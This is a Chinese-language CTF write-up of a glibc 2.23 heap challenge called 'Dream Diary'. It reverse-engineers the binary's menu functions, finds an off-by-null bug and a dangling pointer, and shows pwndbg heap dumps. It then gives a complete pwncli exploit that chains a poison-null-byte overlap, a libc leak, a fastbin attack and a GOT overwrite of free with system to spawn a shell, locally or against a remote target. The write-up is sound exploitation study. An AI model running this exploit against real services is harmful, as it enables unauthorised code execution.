前言
该题目在1的基础上,内存布局申请变得更加混乱,原本的off by one变成了off by null,克服这些挑战拿到shell
每日一题计划:督促自己练习,每日分享一题的练习!想一起刷题咱们可以一起练练练,以及,相互监督!
今天是第2天,希望能坚持下去
题目情况
Hint: Xenial Xerus
这是ubuntu16.04lts的代号,意味着适用2.23的libc
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
逆向分析
这次选项更多了:
+------------------------------+
| Dream Diary |
+------------------------------+
| [1] Allocate |
| [2] Edit |
| [3] Delete |
| [4] Dump |
| [5] Exit |
+------------------------------+
选项1:Allocate
unsigned __int64 allocate()
{
__int64 v0; // rbx
int i; // [rsp+0h] [rbp-30h]
size_t size; // [rsp+8h] [rbp-28h]
__int64 buf; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
buf = 0LL;
for ( i = 0; ; ++i )
{
if ( i > 15 ) // 最多16个
{
puts("Too many notes!");
return __readfsqword(0x28u) ^ v5;
}
if ( !*(&ptr + i) )
break;
}
printf("\nSize: ");
if ( (int)read(0, &buf, 4uLL) <= 0 ) // 大小手动控制
{
puts("Read error!");
exit(-1);
}
size = atoi((const char *)&buf);
*(&ptr + i) = malloc(0x10uLL); // 申请0x10字节的内存
if ( !*(&ptr + i) )
{
puts("Malloc error!");
exit(-1);
}
v0 = (__int64)*(&ptr + i);
*(_QWORD *)(v0 + 8) = malloc(size); // 申请指定字节的内存
if ( !*((_QWORD *)*(&ptr + i) + 1) )
{
puts("Malloc error!");
exit(-1);
}
*(_QWORD *)*(&ptr + i) = size; // 第一块内存保存大小
printf("Data: ");
read_(*((_QWORD *)*(&ptr + i) + 1), size); // 第二块内存保存数据
puts("Success!");
return __readfsqword(0x28u) ^ v5;
}
申请操作会申请2次内存,第一次申请0x10字节的内存,保存输入的size,第二次申请指定size的内存,保存数据
可以猜测这里的ptr是个结构体:
sz ptr[COUNT];
struct sz{
int size;
char* data;
}
无漏洞
选项2:edit
unsigned __int64 edit()
{
int v1; // [rsp+Ch] [rbp-14h]
__int64 buf; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
buf = 0LL;
printf("Index: ");
read(0, &buf, 4uLL);
v1 = atoi((const char *)&buf);
if ( (unsigned int)v1 < 0x10 )
{
if ( *(&ptr + v1) )
{
printf("Data: ");
read_(*((void **)*(&ptr + v1) + 1), *(_QWORD *)*(&ptr + v1));// 基于大小来读取数据写入
sub_400B12(*((_QWORD *)*(&ptr + v1) + 1), *(_QWORD *)*(&ptr + v1));// 末尾设置为0
// off by null!
puts("Done!");
}
else
{
puts("Nope!");
}
}
else
{
puts("Out of bounds!");
}
return __readfsqword(0x28u) ^ v3;
}
这里使用输入的size来作为编辑data的大小上限,然后调用了sub_400B12:
__int64 __fastcall sub_400B12(__int64 a1, __int64 a2)
{
__int64 result; // rax
result = a1 + a2;
*(_BYTE *)(a1 + a2) = 0;
return result;
}
给输入的数据末尾设置00作为字符串截断,这里字符串索引是从0开始的,这里没有对长度-1
操作,导致off by null漏洞
选项3:Delete:
unsigned __int64 delete()
{
int v1; // [rsp+Ch] [rbp-14h]
__int64 buf; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
buf = 0LL;
printf("Index: ");
read(0, &buf, 4uLL);
v1 = atoi((const char *)&buf);
if ( (unsigned int)v1 < 0x10 )
{
if ( *(&ptr + v1) )
{
free(*((void **)*(&ptr + v1) + 1));
free(*(&ptr + v1));
*(&ptr + v1) = 0LL; // 数据指针没有清空
puts("Done!");
}
else
{
puts("Nope!");
}
}
else
{
puts("Out of bounds!");
}
return __readfsqword(0x28u) ^ v3;
}
释放2块内存,但是只清空了size指针,没有清空data 的指针,可能uaf?
选项4:Dump
unsigned __int64 dummp()
{
int v1; // [rsp+Ch] [rbp-14h]
__int64 buf; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
buf = 0LL;
printf("Index: ");
if ( (int)read(0, &buf, 4uLL) <= 0 )
{
puts("Read error!");
exit(-1);
}
v1 = atoi((const char *)&buf);
if ( (unsigned int)v1 < 0x10 )
{
if ( *(&ptr + v1) ) // 根据size指针判断
printf("Size: %ld | Data: %s\n", *(_QWORD *)*(&ptr + v1), *((const char **)*(&ptr + v1) + 1));// 输出内容
else
puts("Nope!");
}
else
{
puts("Out of bounds!");
}
return __readfsqword(0x28u) ^ v3;
}
可以用来泄露数据
利用分析
当前情况分析
- 程序使用libc 2.23,可以攻击 Hook
- 程序没有PIE,存在劫持指针数组的可能
- 程序没有FULL RELRO,存在劫持GOT表的可能
- 程序存在off by null漏洞,存在创造重叠快的可能
- 程序释放内存后没有清空data指针,存在UAF或者double-free的可能
- 程序有输出data段的函数,存在泄露数据的可能
利用计划
第一步:通过off by null作为入口点,创造重叠块
第二步,通过fastbin attack劫持指针数组
第三步:任意内存修改,攻击 ELF GOT 来 drop shell(打Hook也行,打IO也行,打哪儿都行)
辅助函数
def cmd(i, prompt=b">> "):
sla(prompt, i)
def add(sz:int,data:bytes):
cmd('1')
sla(b"Size: ",str(sz).encode())
sla(b"Data: ",data)
#......
def edit(idx:int,data:bytes):
cmd('2')
sla(b"Indexs: ",str(idx).encode())
sla(b"Data: ",data)
#......
def show(idx: int):
cmd('4')
sla(b"Index: ",str(idx).encode())
#......
def free(idx: int):
cmd('3')
sla(b"Index: ",str(idx).encode())
#......
Heap FengShui - 提前布局
每次申请内存都会分配1个0x20的chunk和一个我们自定义大小的chunk
这个0x20大小的chunk穿插在中间很干扰操作,得想个办法处理一下
在不断瞎操作下,发现,如果我能创造大量的0x20的fastbin chunk,那么自此之后再做新的申请,这个0x20就不会干扰我了
# heap fengshui
add(0x18,cyclic(0x18))
add(0x18,cyclic(0x18))
add(0x18,cyclic(0x18))
add(0x18,cyclic(0x18))
add(0x2f0,b"1")
add(0x18,cyclic(0x18)) # 5
free(0)
free(1)
free(2)
free(3)
free(4)
第一步,申请一堆0x20的chunk,然后全部释放掉,都进入fastbin
这里中间申请了一个0x2f0的chunk,用于后续操作用,会释放掉作为后续申请内存操作的空间
最后申请的那个0x20用来分隔top chunk,防止合并
此时的堆布局:
pwndbg> vis 100
0x1b86000 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][7]
0x1b86010 0x0000000001b86020 0x0000000001b86030 `......0`......
0x1b86020 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][8]
0x1b86030 0x0000000000000000 0x6161616461616163 ........caaadaaa
0x1b86040 0x6161616661616165 0x0000000000000021 eaaafaaa!....... <-- fastbins[0x20][5]
0x1b86050 0x0000000001b86060 0x0000000001b86070 ``......p`......
0x1b86060 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][6]
0x1b86070 0x0000000001b86000 0x6161616461616163 .`......caaadaaa
0x1b86080 0x6161616661616165 0x0000000000000021 eaaafaaa!....... <-- fastbins[0x20][3]
0x1b86090 0x0000000001b860a0 0x0000000001b860b0 .`.......`......
0x1b860a0 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][4]
0x1b860b0 0x0000000001b86040 0x6161616461616163 @`......caaadaaa
0x1b860c0 0x6161616661616165 0x0000000000000021 eaaafaaa!....... <-- fastbins[0x20][1]
0x1b860d0 0x0000000001b860e0 0x0000000001b860f0 .`.......`......
0x1b860e0 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][2]
0x1b860f0 0x0000000001b86080 0x6161616461616163 .`......caaadaaa
0x1b86100 0x6161616661616165 0x0000000000000021 eaaafaaa!....... <-- fastbins[0x20][0]
0x1b86110 0x0000000001b860c0 0x0000000001b86130 .`......0a......
0x1b86120 0x0000000000000000 0x0000000000000301 ................ <-- unsortedbin[all][0]
0x1b86130 0x00007f9a8b03ab78 0x00007f9a8b03ab78 x.......x.......
0x1b86140 0x0000000000000000 0x0000000000000000 ................
0x1b86150 0x0000000000000000 0x0000000000000000 ................
0x1b86160 0x0000000000000000 0x0000000000000000 ................
0x1b86170 0x0000000000000000 0x0000000000000000 ................
0x1b86180 0x0000000000000000 0x0000000000000000 ................
0x1b86190 0x0000000000000000 0x0000000000000000 ................
...
0x1b86410 0x0000000000000000 0x0000000000000000 ................
0x1b86420 0x0000000000000300 0x0000000000000020 ........ .......
0x1b86430 0x0000000000000018 0x0000000001b86450 ........Pd......
0x1b86440 0x0000000000000000 0x0000000000000021 ........!.......
0x1b86450 0x6161616261616161 0x6161616461616163 aaaabaaacaaadaaa
0x1b86460 0x6161616661616165 0x0000000000020ba1 eaaafaaa........ <-- Top chunk
Poison Null Byte - 创造重叠 chunk
对于off by null的场景,一个很好使的法子就是poison Null Byte,在libc2.23下,只需要满足伪造好next chunk的prev_size和size即可
# poison null-byte
add(0x28,b"\x00"*0x20+pack(0x30)) # 0
add(0x208,b"\x00"*0x1f0+pack(0x200)+pack(0x21)) # 1
add(0xb8,b"C") # 2
free(1)
edit(0,b"AA")
add(0x188,b"D") # 1
add(0x68,b"E"*7) # 3
free(1)
free(2)
申请1个小的chunkA,用于溢出,申请1个大的chunkB,用于在内部创造重叠chunk,申请1个能进unsortedbin的chunkC用于触发合并操作
这里先将chunkB释放掉,通过off by null改小其size
然后分2次申请内部chunkB1和chunkB2,其中chunkB2就是重叠chunk
释放了chunkB1之后,chunkB1是unsortedbin chunk,链表是完整的
然后释放chunkC,chunkC会触发向上合并,因为此时chunkC的prev_inused依然是之前释放chunkB时候的0,所以会根据prev_size定位上一个chunk,然后直接合并插入链表,没有其他的检查
此时的堆:
pwndbg> vis 100
0x1b86000 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][5]
0x1b86010 0x0000000001b86020 0x0000000001b86030 `......0`......
0x1b86020 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][6]
0x1b86030 0x0000000000000000 0x6161616461616163 ........caaadaaa
0x1b86040 0x6161616661616165 0x0000000000000021 eaaafaaa!....... <-- fastbins[0x20][3]
0x1b86050 0x0000000001b86060 0x0000000001b86070 ``......p`......
0x1b86060 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][4]
0x1b86070 0x0000000001b86000 0x6161616461616163 .`......caaadaaa
0x1b86080 0x6161616661616165 0x0000000000000021 eaaafaaa!.......
0x1b86090 0x0000000000000068 0x0000000001b862f0 h........b......
0x1b860a0 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][2]
0x1b860b0 0x0000000001b86040 0x6161616461616163 @`......caaadaaa
0x1b860c0 0x6161616661616165 0x0000000000000021 eaaafaaa!....... <-- fastbins[0x20][1]
0x1b860d0 0x0000000001b860a0 0x0000000001b86160 .`......`a......
0x1b860e0 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][0]
0x1b860f0 0x0000000001b860c0 0x0000000001b86370 .`......pc......
0x1b86100 0x6161616661616165 0x0000000000000021 eaaafaaa!.......
0x1b86110 0x0000000000000028 0x0000000001b86130 (.......0a......
0x1b86120 0x0000000000000000 0x0000000000000031 ........1.......
0x1b86130 0x00000000000a4141 0x0000000000000000 AA..............
0x1b86140 0x0000000000000000 0x0000000000000000 ................
0x1b86150 0x0000000000000030 0x00000000000002d1 0............... <-- unsortedbin[all][0]
0x1b86160 0x00007f9a8b03ab78 0x00007f9a8b03ab78 x.......x.......
0x1b86170 0x0000000000000000 0x0000000000000000 ................
0x1b86180 0x0000000000000000 0x0000000000000000 ................
0x1b86190 0x0000000000000000 0x0000000000000000 ................
0x1b861a0 0x0000000000000000 0x0000000000000000 ................
0x1b861b0 0x0000000000000000 0x0000000000000000 ................
0x1b861c0 0x0000000000000000 0x0000000000000000 ................
0x1b861d0 0x0000000000000000 0x0000000000000000 ................
0x1b861e0 0x0000000000000000 0x0000000000000000 ................
0x1b861f0 0x0000000000000000 0x0000000000000000 ................
0x1b86200 0x0000000000000000 0x0000000000000000 ................
0x1b86210 0x0000000000000000 0x0000000000000000 ................
0x1b86220 0x0000000000000000 0x0000000000000000 ................
0x1b86230 0x0000000000000000 0x0000000000000000 ................
0x1b86240 0x0000000000000000 0x0000000000000000 ................
0x1b86250 0x0000000000000000 0x0000000000000000 ................
0x1b86260 0x0000000000000000 0x0000000000000000 ................
0x1b86270 0x0000000000000000 0x0000000000000000 ................
0x1b86280 0x0000000000000000 0x0000000000000000 ................
0x1b86290 0x0000000000000000 0x0000000000000000 ................
0x1b862a0 0x0000000000000000 0x0000000000000000 ................
0x1b862b0 0x0000000000000000 0x0000000000000000 ................
0x1b862c0 0x0000000000000000 0x0000000000000000 ................
0x1b862d0 0x0000000000000000 0x0000000000000000 ................
0x1b862e0 0x0000000000000190 0x0000000000000070 ........p.......
0x1b862f0 0x0a45454545454545 0x00007f9a8b03ab78 EEEEEEE.x.......
0x1b86300 0x0000000000000000 0x0000000000000000 ................
0x1b86310 0x0000000000000000 0x0000000000000000 ................
0x1b86320 0x0000000000000000 0x0000000000000000 ................
0x1b86330 0x0000000000000000 0x0000000000000000 ................
0x1b86340 0x0000000000000000 0x0000000000000000 ................
0x1b86350 0x0000000000000070 0x0000000000000021 p.......!.......
0x1b86360 0x0000000000000210 0x00000000000000c0 ................
0x1b86370 0x00007f9a8b030a43 0x00007f9a8b03ab78 C.......x.......
0x1b86380 0x0000000000000000 0x0000000000000000 ................
0x1b86390 0x0000000000000000 0x0000000000000000 ................
0x1b863a0 0x0000000000000000 0x0000000000000000 ................
0x1b863b0 0x0000000000000000 0x0000000000000000 ................
0x1b863c0 0x0000000000000000 0x0000000000000000 ................
0x1b863d0 0x0000000000000000 0x0000000000000000 ................
0x1b863e0 0x0000000000000000 0x0000000000000000 ................
0x1b863f0 0x0000000000000000 0x0000000000000000 ................
0x1b86400 0x0000000000000000 0x0000000000000000 ................
0x1b86410 0x0000000000000000 0x0000000000000000 ................
0x1b86420 0x00000000000002d0 0x0000000000000020 ........ .......
0x1b86430 0x0000000000000018 0x0000000001b86450 ........Pd......
0x1b86440 0x0000000000000000 0x0000000000000021 ........!.......
0x1b86450 0x6161616261616161 0x6161616461616163 aaaabaaacaaadaaa
0x1b86460 0x6161616661616165 0x0000000000020ba1 eaaafaaa........ <-- Top chunk
得到了一个0x2d1的chunk,但是其中的chunkB2还处于被申请走的状态,自此得到重叠chunk
Fastbin Attack - 劫持 ptr 数组
chunkB2上有libc地址,顺便泄露出来用用,得到重叠chunk之后,就和之前一样,找fake fastbin chunk,申请走,覆盖ptr数组:
show(3)
ru(b"Data")
leak = r(0x10)[10:]
leak = unpack(leak,"all")
success("leak addr: 0x{:x}".format(leak))
#libc.address = leak-0x192b78 # debug
libc.address = leak-0x3c4b78
success("libc base addr: 0x{:x}".format(libc.address))
free(3)
# fastbin attack & Hijack ptr array
fd = 0x60209d
add(0x2c8,b"\x00"*0x188 + pack(0x71) + pack(fd)) # 1
此时的bins:
pwndbg> bin
fastbins
0x20: 0x1b860e0 —▸ 0x1b860c0 —▸ 0x1b860a0 —▸ 0x1b86040 —▸ 0x1b86060 —▸ 0x1b86000 —▸ 0x1b86020 ◂— 0x0
0x70: 0x1b862e0 —▸ 0x60209d ◂— 0x0
unsortedbin
empty
smallbins
empty
largebins
empty
Hijack ELF GOT - Drop Shell
最后一步了,现在能做到任意地址写了,就和之前的操作一样,直接劫持ptr,劫持elf GOT表完成Drop Shell
add(0x68,b"a")
# Hijack ELF GOT
fake_arr = \
pack(0x6020f0)+pack(0x6020e0)+\
b"/bin/sh\x00"+pack(0)+\
pack(0x6020e0)+pack(0x6020d0)+\
pack(0x7) + pack(elf.got.free)
add(0x68,b"\x00"*0x13 + fake_arr)
edit(0 , pack(libc.sym.system))
free(1)
这就没啥好说的了,劫持free函数执行system函数,free一个有/bin/sh
的地址
完整exp
#!/usr/bin/env python3
# Date: 2024-10-25 10:44:30
# Link: https://github.com/RoderickChan/pwncli
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc
# Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def cmd(i, prompt=b">> "):
sla(prompt, i)
def add(sz:int,data:bytes):
cmd('1')
sla(b"Size: ",str(sz).encode())
sla(b"Data: ",data)
#......
def edit(idx:int,data:bytes):
cmd('2')
sla(b"Index: ",str(idx).encode())
sla(b"Data: ",data)
#......
def show(idx: int):
cmd('4')
sla(b"Index: ",str(idx).encode())
#......
def free(idx: int):
cmd('3')
sla(b"Index: ",str(idx).encode())
#......
# heap fengshui
add(0x18,cyclic(0x18))
add(0x18,cyclic(0x18))
add(0x18,cyclic(0x18))
add(0x18,cyclic(0x18))
add(0x2f0,b"1")
add(0x18,cyclic(0x18)) # 5
free(0)
free(1)
free(2)
free(3)
free(4)
# poison null-byte
add(0x28,b"\x00"*0x20+pack(0x30)) # 0
add(0x208,b"\x00"*0x1f0+pack(0x200)+pack(0x21)) # 1
add(0xb8,b"C") # 2
free(1)
edit(0,b"AA")
add(0x188,b"D") # 1
add(0x68,b"E"*7) # 3
free(1)
free(2)
show(3)
ru(b"Data")
leak = r(0x10)[10:]
leak = unpack(leak,"all")
success("leak addr: 0x{:x}".format(leak))
#libc.address = leak-0x192b78 # debug
libc.address = leak-0x3c4b78
success("libc base addr: 0x{:x}".format(libc.address))
free(3)
# fastbin attack & Hijack ptr array
fd = 0x60209d
add(0x2c8,b"\x00"*0x188 + pack(0x71) + pack(fd)) # 1
add(0x68,b"a")
# Hijack ELF GOT
fake_arr = \
pack(0x6020f0)+pack(0x6020e0)+\
b"/bin/sh\x00"+pack(0)+\
pack(0x6020e0)+pack(0x6020d0)+\
pack(0x7) + pack(elf.got.free)
add(0x68,b"\x00"*0x13 + fake_arr)
edit(0 , pack(libc.sym.system))
free(1)
ia()
总结
本练习相关的知识:
-
off by null 创造重叠块
- poison null byte
-
Fastbin Attack
-
Hijack Elf GOT